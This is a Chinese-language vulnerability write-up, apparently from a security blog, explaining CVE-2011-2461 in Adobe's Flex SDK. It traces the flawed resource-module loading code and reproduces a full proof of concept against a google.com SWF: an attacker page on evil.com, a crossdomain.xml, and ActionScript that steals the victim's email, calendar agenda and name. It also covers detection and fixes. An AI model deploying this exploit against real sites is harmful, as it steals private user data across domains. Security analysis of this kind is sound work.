0x00 漏洞背景
从CVE编号就可以看出这个漏洞已经有一些年头了 (1)。 由于这个漏洞发生在Flex SDK里,而非Flash Player上。所以对于开发者而言,只要他们使用了具有该缺陷的Flex SDK来编译FLASH,那么其所生成的FLASH文件也会相应的存在缺陷。一方面,开发者可能并不会及时更新自己的Flex开发工具,这会在之后的开发中继续发布新的具有缺陷的FLASH文件;另一方面,即使开发者更新了自己的开发工具,但是其之前所开发的FLASH文件依然处于缺陷状态。
正因如此,时至今日,网上依然存在诸多具有缺陷的FLASH文件。根据《THE OLD IS NEW, AGAIN. CVE-2011-2461 IS BACK!》中的统计数据(2),连Alexa排名前10的站点也躺枪了。这不,随后(2015-3-30)他们又发表了一篇名为《Exploiting CVE-2011-2461 on google.com》的博文来证明CVE-2011-2461的影响 (3_。那么一起来看看CVE-2011-2461到底是个什么情况吧~~
0x01 漏洞成因分析
采用Flex开发的WEB应用在文件体积上有时候会比较大,这会导致用户等待一个比较长的下载时间,体验实在不是很好。因此,Flex通常会使用在运行时加载“某些东西”来缓解这个问题。“某些东西”包括:运行时共享库(Runtime Shared Libraries, RSLs)(4) 以及资源模块(Resource Modules)(5)。前者(RSLs)主要用于将一些通用及经常被用到的组件或类在第一次加载后缓存到本地,避免后续每次都需要从网络上加载这些内容;而后者则与软件本土化(localization)有关。要让Flex开发的Web应用支持多种语言展现,一种方式是把应用及语言文件全部打包到一个FLASH中,这样会产生的FLASH文件会体积较大;另一种方式则是单独将语言文件编译成独立的SWF,然后让应用去动态加载这些SWF文件(这些被动态加载的独立SWF就被称为Resource Module (2))。采用这种方式会让应用的主文件体积有所缩减,加快了加载速度,但正是这样一个动态加载的机制上出现了本文所述的漏洞。
对于资源模块,Flex支持两种方式来进行动态加载。一种是应用程序初始化时,先调用用resourceManager.loadResourceModule() 方法,再设置resourceManager.localeChain属性的方式;而另一种是直接在HTML里通过设置flashvars的值来实现 (5)。通常代码如下:
#!html
<param name='flashVars' value='resourceModuleURLs=es_ES_ResourceModule.swf&localeChain=es_ES'/>
接下来,我们通过查看Flex编译出的Flash文件的源代码,来看看资源模块到底是如何被加载,漏洞发生在何处。
1. mx.managers.SystemManager
定位到该类下的initialize函数
#!javascript
….
//从flashvars里取出resourceModuleURLs参数,赋值给resourceModuleURLList
var resourceModuleURLList:String = loaderInfo.parameters["resourceModuleURLs"];
//将resourceModuleURLList按 , 号分割为resourceModuleURLs数组
var resourceModuleURLs:Array = (resourceModuleURLList) ?
….
//从flashvars里取出resourceModuleURLs参数,赋值给resourceModuleURLList
var resourceModuleURLList:String = loaderInfo.parameters["resourceModuleURLs"];
//将resourceModuleURLList按 , 号分割为resourceModuleURLs数组
var resourceModuleURLs:Array = (resourceModuleURLList) ? resourceModuleURLList.split(",") : null;
//最终resourceModuleURLs进入了preloader的initialize函数
preloader.initialize(usePreloader, preloaderDisplayClass, preloaderBackgroundColor, preloaderBackgroundAlpha, preloaderBackgroundImage, preloaderBackgroundSize, (isStageRoot) ? stage.stageWidth : loaderInfo.width, (isStageRoot) ? stage.stageHeight : loaderInfo.height, null, null, rslList, resourceModuleURLs);
2. mx.preloaders.Preloader
定位到该类下的initialize函数,
#!javascript
//如果传入的resourceModuleURLs有内容
if (((resourceModuleURLs) && ((resourceModuleURLs.length > 0)))){
n = resourceModuleURLs.length;
i = 0;
//循环对每一个Resource Module进行处理
while (i < n) {
//最终模块的URL进入了ResourceModuleRSLItem类
resourceModuleNode = new ResourceModuleRSLItem(resourceModuleURLs[i]);
//每个resourceModuleNode被追加到rslList中
rslList.push(resourceModuleNode);
i++;
};
};
// rslList 被传入RSLListLoader中
rslListLoader = new RSLListLoader(rslList);
…
//随后调用rslListLoader的load方法
rslListLoader.load(mx_internal::rslProgressHandler, mx_internal::rslCompleteHandler, mx_internal::rslErrorHandler, mx_internal::rslErrorHandler, mx_internal::rslErrorHandler);
…
3. mx.core.RSLListLoader
首先看该函数的构造函数,
#!javascript
public function RSLListLoader(rslList:Array){
rslList = [];
super();
//rslList被传递给当前类的rslList属性
this.rslList = rslList;
}
接着看看上一步里调用的rslListLoader.load函数
#!javascript
public function load(progressHandler:Function, completeHandler:Function, ioErrorHandler:Function, securityErrorHandler:Function, rslErrorHandler:Function):void{
…
//load函数调用loadNext函数
loadNext();
}
继续跟loadNext,
#!javascript
private function loadNext():void{
if (!isDone()){
currentIndex++;
if (currentIndex < rslList.length){
rslList[currentIndex].load(chainedProgressHandler, listCompleteHandler, listIOErrorHandler, listSecurityErrorHandler, chainedRSLErrorHandler);
};
};
}
可以看出,实际上就是循环调用rslList里每一个元素(ResourceModuleRSLItem)的load方法。
4. mx.core.ResourceModuleRSLItem
那么我们接着看该类的load方法,
#!javascript
override public function load(progressHandler:Function, completeHandler:Function, ioErrorHandler:Function, securityErrorHandler:Function, rslErrorHandler:Function):void{
...
//创建一个资源管理器
var resourceManager:IResourceManager = ResourceManager.getInstance();
//调用资源管理器的loadResourceModule
var eventDispatcher:IEventDispatcher = resourceManager.loadResourceModule(url);
...
}
其实转了一大圈,最后可以看到,通过设置flashvars的方式实际上最终也是通过调用resourceManager.loadResourceModule来实现的。
5. mx.resources.ResourceManagerImpl
loadResourceModule里继续看到url参数进入到了ModuleManager.getModule中,
#!javascript
public function loadResourceModule(url:String, updateFlag:Boolean=true, applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null):IEventDispatcher{
...
moduleInfo = ModuleManager.getModule(url);
...
//得到moduleInfo后,最终会调用moduleInfo的load方法
moduleInfo.load(applicationDomain, securityDomain);
}
6. mx.modules.ModuleManagerImpl
#!javascript
public function getModule(url:String):IModuleInfo{
var info:ModuleInfo = (moduleList[url] as ModuleInfo);
//如果info不存在,则以url为参数创建一个新的ModuleInfo实例
if (!info){
info = new ModuleInfo(url);
moduleList[url] = info;
};
//最终返回ModuleInfoProxy类的实例
return (new ModuleInfoProxy(info));
}
7. mx.modules.ModuleInfoProxy
#!javascript
public function ModuleInfoProxy(info:ModuleInfo){
super();
//ModuleInfo的实例被存入ModuleInfoProxy的info属性里
this.info = info;
…
}
根据前面可知,将会调用ModuleInfoProxy的load方法
#!javascript
public function load(applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null, bytes:ByteArray=null):void{
...
//实际上最终调用的是info的load方法,即调用ModuleInfo实例的load方法
info.load(applicationDomain, securityDomain, bytes);
...
}
8. mx.modules.ModuleInfo
最终我们就能看到(2)中PPT里提到的代码部分,
#!javascript
public function load(applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null, bytes:ByteArray=null):void{
…
var r:URLRequest = new URLRequest(_url);
//创建一个LoaderContext -> c
var c:LoaderContext = new LoaderContext();
c.applicationDomain = (applicationDomain) ? applicationDomain : new ApplicationDomain(ApplicationDomain.currentDomain);
c.securityDomain = securityDomain;
//设置LoaderContext的securityDomain 到SecurityDomain.currentDomain
if ((((securityDomain == null)) && ((Security.sandboxType == Security.REMOTE)))){
c.securityDomain = SecurityDomain.currentDomain;
};
loader = new Loader();
….
//最终以当前的安全域加载外部模块
loader.load(r, c);
}
以上就是整个代码流程,问题就发生在c.securityDomain = SecurityDomain.currentDomain; 这一句代码上。在Adobe官方手册对于securityDomain的解释上(6),可以看到这样一段描述(非直译): “同域情况下,即当1.com的FLASH A文件加载1.com下的FLASH B文件,B文件与A文件具有相同的安全域;而跨域情况下,即当1.com的FLASH A文件加载2.com下的FLASH B文件时,则会有两种选择:一种是默认情况下加载,此时B文件具有与A文件不同的安全域,换言之,两者是隔离的;另一种方法则是通过特定的函数调用或者特定属性的设置让被加载的B文件具有和A相同的安全域,这种加载方式被称为“导入式加载(import loading)”。 导入式加载通常有两种方法:一种是通过Loader的loadBytes函数。在context为默认值时,loadBytes将会把内容导入到当前的安全域内。其函数形式如下:
#!javascript
loadBytes(bytes:ByteArray, context:LoaderContext = null):void
另一种方法则是通过设置LoaderContext的securityDomain,然后再load,典型代码如下:
#!javascript
loaderContext.securityDomain = SecurityDomain.currentDomain;
loader.load(urlReq,loaderContext);
可以看出,cve-2011-2461 就是采用了第二种方式来进行了导入式加载。最终就会导致如下图所示的问题,可以看到我们在“黑客.com”的Flash B里编写恶意代码,将会被导入式加载“融入”到“目标.com”的Flash A里,从而可以读取“目标.com”下的内容。
0x02 案例分析
其实,知道上面的原理后,再来看google这个案例就不难理解了。首先是https://www.google.com/wonderwheel/wonderwheel7.swf
存在本文所说的问题,那么我们可以构造出以下代码
#!html
(http://evil.com/poc/test.html):
<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%; height:50%"></textarea>
<object width="100%" height="100%"
type="application/x-shockwave-flash"
data="https://www.google.com/wonderwheel/wonderwheel7.swf">
<param name="allowscriptaccess" value="always">
<param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf">
</object>
上面这个代码,使得https://www.google.com/wonderwheel/wonderwheel7.swf将会以“导入式加载”的方式将http://evil.com/poc/URLr_google.swf“融入”进来,即URLr_google.swf具有与wonderwheel7.swf相同的安全域。当然要记得在evil.com根目录下放置一个crossdomain.xml允许wonderwheel7.swf来加载它,像这样。
#!html
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="www.google.com" />
</cross-domain-policy>
URLr_google.swf的AS代码如下(有点长,其实不是很想粘贴上来了。。),反正大概就是获取一些可以获取的敏感信息(非重点,不多说)。
#!javascript
package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events. * ;
import flash.net. * ;
import flash.external.ExternalInterface;
public class URLr_google extends Sprite {
public static
var app: URLr_google;
private static
var email: String;
public
function main() : void {
app = new URLr_google();
}
public
function URLr_google() {
var url: String = "https://www.google.com/?gws_rd=cr";
var loader: URLLoader = new URLLoader();
configureListeners(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListeners(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}
private
function pingCalendar() : void {
var url: String = "https://www.google.com/calendar/";
var loader: URLLoader = new URLLoader();
configureListenersCalendar(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListenersCalendar(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);
}
private
function getAgenda() : void {
var url: String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader: URLLoader = new URLLoader();
configureListenersAgenda(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListenersAgenda(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);
}
private
function completeHandler(event: Event) : void {
var loader: URLLoader = URLLoader(event.target);
var s: String = loader.data;
var pattern: RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results: Array = s.match(pattern);
if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");
pingCalendar();
}
}
private
function completeHandlerCalendar(event: Event) : void {
getAgenda();
}
private
function completeHandlerAgenda(event: Event) : void {
var loader: URLLoader = URLLoader(event.target);
var res: String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern: RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results: Array = unescape(res).match(pattern);
if (results.length > 0) {
var name: String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");
}
}
}
}
总之吧,原理如下图所示,个人觉得原博文中图太丑,自己重新画了一个,虽然也不是很好看。。:
这里我也给出一个具有缺陷的flash文件,以便分析https://appmaker.sinaapp.com/cve-2011-2461.htm。
0x03 漏洞检测
检测该漏洞,实际上可以通过反编译FLASH来查看相关缺陷代码是否存在,原博文的作者给出了检测工具ParrotNG(java编写,基于swfdump)来识别有漏洞的SWF文件,可以在命令行在使用这个工具,也可以通过burp插件的机制来使用这个工具。
0x04 修复与防御
对于这个漏洞,修复与防御措施可能有如下几点:
-
更新开发工具
-
对于采用老版本SDK编译产生的swf文件,可以使用新版本的开发工具重新编译一下,或者采用修复工具对swf进行补丁(https://helpx.adobe.com/flash-builder/kb/flex-security-issue-apsb11-25.html)。当然,如果文件已经很古老,直接暴力的删掉就好了。
-
将swf等存在安全风险的静态资源文件放置到独立的域名下,可最大程度避免此类问题。
-
开发者在编写相关代码时,应该尽量避免使用“导入式加载”;在使用Loader类时,应该对加载的URL进行合法性判断。
0x05 结语
原文:“There are still many more websites that are hosting vulnerable SWF files out there. Please help us making the Internet a safer place by reporting vulnerable files to the respective website’s owners.”,
中文:“说不定还有很多站有这个问题,找到了赶紧报乌云!!”
读者:“欺负我看不懂英文!!”
0x06 参考
[1) https://www.adobe.com/support/security/bulletins/apsb11-25.html
[2) http://blog.nibblesec.org/2015/03/the-old-is-new-again-cve-2011-2461-is.html
[3) http://blog.mindedsecurity.com/2015/03/exploiting-cve-2011-2461-on-googlecom.html
[4) http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf674ba-7fff.html
[5) http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf69084-7f3c.html#WS2db454920e96a9e51e63e3d11c0bf6119c-8000
[6) http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/LoaderContext.html